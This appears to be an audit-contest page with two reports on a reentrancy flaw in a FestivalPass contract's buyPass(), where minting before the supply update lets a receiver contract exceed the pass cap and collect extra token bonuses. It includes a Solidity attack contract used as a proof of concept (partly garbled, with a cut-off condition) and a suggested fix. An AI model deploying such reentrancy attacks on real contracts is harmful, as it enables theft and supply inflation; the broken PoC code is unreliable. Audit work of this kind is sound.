buyPass() lets a receiver bypass passMaxSupply and mint extra VIP/BACKSTAGE bonusesFestivalPass.sol
buyPass(uint256 collectionId)
inherited ERC1155 receiver acceptance hook flow
BeatToken.mint(...) welcome bonus path for VIP/BACKSTAGE passes
The normal behavior is that buyPass() should enforce the configured pass cap before minting. If a pass type is configured with maxSupply = 1, only one pass should ever be minted for that tier, and the corresponding welcome bonus should only be minted once per successful purchase.
The issue is that buyPass() performs _mint() before incrementing passSupply. In ERC1155, _mint() performs the receiver acceptance callback when the recipient is a contract. That callback gives the recipient a reentrancy point before passSupply has been updated, so the recipient can call buyPass() again while the old supply is still visible.
This lets an attacker-controlled receiver contract:
buy more passes than the configured passMaxSupply;
receive extra VIP/BACKSTAGE welcome bonuses;
break the intended scarcity and accounting of the pass sale system.
In the OZ ERC1155 implementation used by the project, _mint() calls _updateWithAcceptanceCheck(), which explicitly warns that state updates after the acceptance check break the checks-effects-interactions pattern:
The root cause is that the supply check is evaluated before _mint(), but the state variable that should make that check meaningful (passSupply) is only updated after the external receiver callback point.
Because of that, a malicious contract receiver can reenter buyPass() from onERC1155Received() and pass the exact same passSupply < passMaxSupply check again before the first call has incremented supply.
Likelihood:
The route is public and requires no owner or organizer privileges.
ERC1155 receiver callbacks are standard behavior for contract recipients, so the reentrancy surface is built into the chosen token flow.
The exploit requires only an attacker-controlled receiver contract and enough ETH to pay for the nested purchases.
The vulnerable ordering is deterministic: _mint() happens before passSupply++ on every purchase.
Impact:
The configured maximum pass supply can be exceeded.
VIP and BACKSTAGE welcome bonuses can be minted multiple times through one capped sale slot.
Pass scarcity and sale accounting become untrustworthy.
Extra passes can later be used to extract more attendance rewards than the configured supply should allow.
The following Foundry test configures VIP_PASS with maxSupply = 1, then uses a malicious ERC1155 receiver contract to reenter buyPass() during onERC1155Received():
Observed result:
This confirms that:
the configured cap was 1;
the attacker still received 2 VIP passes;
recorded supply became 2;
the VIP welcome bonus was minted twice, for a total of 10e18 BEAT.
The function should follow checks-effects-interactions. At minimum, internal supply accounting must be updated before _mint() triggers the receiver callback. A reentrancy guard would also harden the path.
An additional defensive hardening is:
The essential requirement is that no receiver callback can observe stale passSupply and reenter the purchase flow before the cap accounting is updated.
# Function `FestivalPass:buyPass` Lacks Defense Against Reentrancy Attacks, Leading to Exceeding the Maximum NFT Pass Supply ## Description * Under normal circumstances, the system should control the supply of tokens or resources to ensure that it does not exceed a predefined maximum limit. This helps maintain system stability, security, and predictable behavior. * The function `FestivalPass:buyPass` does not follow the **Checks-Effects-Interactions** pattern. If a user uses a malicious contract as their account and includes reentrancy logic, they can bypass the maximum supply limit. ```solidity function buyPass(uint256 collectionId) external payable { // Must be valid pass ID (1 or 2 or 3) require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID"); // Check payment and supply require(msg.value == passPrice[collectionId], "Incorrect payment amount"); require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached"); // Mint 1 pass to buyer @> _mint(msg.sender, collectionId, 1, ""); // question: potential reentrancy? ++passSupply[collectionId]; // VIP gets 5 BEAT welcome bonus, BACKSTAGE gets 15 BEAT welcome bonus uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0; if (bonus > 0) { // Mint BEAT tokens to buyer BeatToken(beatToken).mint(msg.sender, bonus); } emit PassPurchased(msg.sender, collectionId); } ``` ## Risk **Likelihood**: * If a user uses a contract wallet with reentrancy logic, they can trigger multiple malicious calls during the execution of the `_mint` function. **Impact**: * Although the attacker still pays for each purchase, the total number of minted NFTs will exceed the intended maximum supply. This can lead to supply inflation and user dissatisfaction. ## Proof of Concept ````Solidity //SPDX-License-Identifier: MIT pragma solidity 0.8.25; import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol"; import "../src/FestivalPass.sol"; import "./FestivalPass.t.sol"; import {console} from "forge-std/Test.sol"; contract AttackBuyPass{ address immutable onlyOnwer; FestivalPassTest immutable festivalPassTest; FestivalPass immutable festivalPass; uint256 immutable collectionId; uint256 immutable configPassPrice; uint256 immutable configPassMaxSupply; uint256 hackMintCount = 0; constructor(FestivalPassTest _festivalPassTest, FestivalPass _festivalPass, uint256 _collectionId, uint256 _configPassPrice, uint256 _configPassMaxSupply) payable { onlyOnwer = msg.sender; festivalPassTest = _festivalPassTest; festivalPass = _festivalPass; collectionId = _collectionId; configPassPrice = _configPassPrice; configPassMaxSupply = _configPassMaxSupply; hackMintCount = 1; } receive() external payable {} fallback() external payable {} function DoAttackBuyPass() public { require(msg.sender == onlyOnwer, "AttackBuyPass: msg.sender != onlyOnwer"); // This attack can only bypass the "maximum supply" restriction. festivalPass.buyPass{value: configPassPrice}(collectionId); } function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4){ if (hackMintCount festivalPass.passMaxSupply(targetPassId)); } } ``` ```` ## Recommended Mitigation * Refactor the function `FestivalPass:buyPass` to follow the **Checks-Effects-Interactions** principle. ```diff function buyPass(uint256 collectionId) external payable { // Must be valid pass ID (1 or 2 or 3) require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID"); // Check payment and supply require(msg.value == passPrice[collectionId], "Incorrect payment amount"); require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached"); // Mint 1 pass to buyer - _mint(msg.sender, collectionId, 1, ""); ++passSupply[collectionId]; + emit PassPurchased(msg.sender, collectionId); + _mint(msg.sender, collectionId, 1, ""); // VIP gets 5 BEAT welcome bonus, BACKSTAGE gets 15 BEAT welcome bonus uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0; if (bonus > 0) { // Mint BEAT tokens to buyer BeatToken(beatToken).mint(msg.sender, bonus); } - emit PassPurchased(msg.sender, collectionId); } ```
The contest is live. Earn rewards by submitting a finding.
Submissions are being reviewed by our AI judge. Results will be available in a few minutes.
View all submissionsThe contest is complete and the rewards are being distributed.